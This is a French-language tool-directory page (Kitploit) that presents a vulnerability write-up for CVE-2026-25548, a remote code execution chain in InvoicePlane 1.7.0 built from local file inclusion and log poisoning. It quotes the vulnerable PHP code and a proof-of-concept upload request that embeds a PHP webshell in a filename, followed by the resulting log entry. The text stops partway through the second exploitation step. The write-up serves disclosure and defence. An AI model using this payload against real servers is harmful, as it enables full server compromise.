Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-25548 — # Analyse technique détaillée et preuve de concept pour CVE-2026-25548, une RCE critique dans InvoicePlane 1.7.0 via LFI et empoisonnement de journaux, incluant la chaîne d'attaque, les requêtes PoC et l'analyse d'impact. | Kitploit
Outils/GitHubGitHub/lagathos/cve-2026-25548
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHublagathos/cve-2026-25548

CVE-2026-25548

# Analyse technique détaillée et preuve de concept pour CVE-2026-25548, une RCE critique dans InvoicePlane 1.7.0 via LFI et empoisonnement de journaux, incluant la chaîne d'attaque, les requêtes PoC et l'analyse d'impact.

Voir le dépôt
19il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-25548 — Exécution de code à distance dans InvoicePlane 1.7.0

Vulnérabilité : Exécution de code à distance via inclusion locale de fichier + empoisonnement des journaux

Produit : InvoicePlane

Version affectée : 1.7.0 (et probablement les versions antérieures)

Gravité : Critique

Score CVSS 3.1 : 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

CWE : CWE-98, CWE-117, CWE-94

Découvert par : Leonidas Agathos

Date de signalement : 2026-01-31


Table des matières

  • Description
  • Détails de la vulnérabilité
    • 1. Inclusion locale de fichier (LFI)
    • 2. Empoisonnement des journaux via le nom de fichier téléversé
  • Chaîne d'attaque
  • Preuve de concept
    • Étape 1 — Empoisonnement des journaux
    • Étape 2 — Configuration du LFI
    • Étape 3 — Déclenchement du RCE
    • Étape 4 — Shell inversé
  • Impact
  • Composants affectés
  • Chronologie

Description

Une chaîne de vulnérabilités critique dans InvoicePlane 1.7.0 permet à un administrateur authentifié d'obtenir une exécution de code à distance (RCE) sur le serveur sous-jacent. L'attaque combine deux faiblesses :

  1. Inclusion locale de fichier (LFI) — Le paramètre de modèle de facture publique accepte des chemins de fichiers arbitraires sans validation, permettant l'inclusion de fichiers en dehors du répertoire de modèles prévu.
  2. Empoisonnement des journaux — Les noms de fichiers téléversés contenant des caractères de traversée de chemin sont écrits tels quels dans les fichiers journaux .php de CodeIgniter, permettant l'injection de code PHP arbitraire.

Lorsqu'elles sont combinées, un attaquant disposant d'un accès administrateur peut compromettre entièrement le serveur en tant qu'utilisateur du serveur web. Le déclencheur final du RCE est non authentifié (URL de facture publique).


Détails de la vulnérabilité

1. Inclusion locale de fichier (LFI)

AttributValeur
Fichierapplication/modules/guest/controllers/View.php
Lignes85, 191
Paramètrepublic_invoice_template (paramètre de base de données)
CWECWE-98 : Contrôle inapproprié du nom de fichier pour l'instruction Include/Require

Code vulnérable (View.php:85) :

$this->load->view('invoice_templates/public/' .
    get_setting('public_invoice_template') . '.php', $data);

Code vulnérable (View.php:191) :

$this->load->view('quote_templates/public/' .
    get_setting('public_quote_template') . '.php', $data);

Les paramètres public_invoice_template et public_quote_template sont récupérés depuis la base de données et concaténés directement dans un chemin de fichier passé à load->view() de CodeIgniter (qui se résout en include() de PHP). Il n'y a aucune validation pour :

  • Empêcher les séquences de traversée de répertoire (../)
  • Mettre sur liste blanche les noms de modèles autorisés
  • Confirmer que le fichier existe dans le répertoire de modèles attendu

Un administrateur peut définir cette valeur sur n'importe quel chemin du système de fichiers, limité uniquement par l'extension .php ajoutée automatiquement.


2. Empoisonnement des journaux via le nom de fichier téléversé

AttributValeur
Fichierapplication/modules/upload/controllers/Upload.php
Lignes178–184
ParamètreNom de fichier téléversé (données de formulaire multipart HTTP)
CWECWE-117 : Neutralisation de sortie inappropriée pour les journaux

Code vulnérable (Upload.php:178-184) :

private function sanitize_file_name(string $filename): string
{
    if (str_contains($filename, '..')
        || str_contains($filename, '/')
        || str_contains($filename, '\\')
        || str_contains($filename, "\0")) {
        log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
        return '';
    }
    // ...
}

Lorsqu'un nom de fichier déclenche la vérification de traversée de chemin, le nom de fichier brut et non assaini est écrit directement dans le fichier journal. Les fichiers journaux de CodeIgniter :

  • Utilisent l'extension .php : application/logs/log-YYYY-MM-DD.php
  • Commencent par <?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>
  • Sont donc des fichiers PHP valides qui s'exécutent lorsqu'ils sont inclus

Un attaquant intégrant <?php system($_GET[1]); ?> dans le nom de fichier provoque l'écriture de cette charge utile dans le journal, puis son exécution ultérieure via le LFI.


Chaîne d'attaque

[Utilisateur authentifié]  →  Téléversement d'un nom de fichier malveillant  →  PHP injecté dans le fichier journal
[Administrateur]           →  Définition du paramètre de modèle              →  Le LFI pointe vers le fichier journal
[Tout le monde]            →  Visite de l'URL de facture publique            →  RCE
ÉtapeExigence
Empoisonnement des journauxUtilisateur authentifié avec accès au téléversement
Configuration du LFICompte administrateur
Déclenchement du RCENon authentifié (URL de facture publique)

Preuve de concept

Étape 1 — Empoisonnement des journaux

Envoyez une requête de téléversement de fichier avec un webshell PHP intégré dans le nom de fichier. La vérification de traversée de chemin se déclenchera et écrira le nom de fichier brut (y compris la charge utile PHP) dans le fichier journal.

Requête (via Burp Suite) :

POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="_ip_csrf"

<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg

test
------Boundary--

Le serveur rejette le téléversement (upload_error_invalid_extension) mais l'entrée de journal est déjà écrite :

Résultat dans application/logs/log-2026-01-31.php :

ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg

Naviguez vers la section Pièces jointes d'une facture et cliquez sur Ajouter des fichiers pour atteindre le point de terminaison de téléversement.

Étape 1a - Point d'entrée du téléversement de pièces jointes de facture

Étape 1b - Injection de la charge utile PHP via un nom de fichier malveillant

Étape 1c - Fichier journal montrant la charge utile PHP injectée


Étape 2 — Configuration du LFI

En tant qu'administrateur, définissez le paramètre public_invoice_template pour pointer vers le fichier journal du jour à l'aide d'une charge utile de traversée de chemin. Le chargeur de vues de CodeIgniter ajoute .php automatiquement.

Télécharger l’outil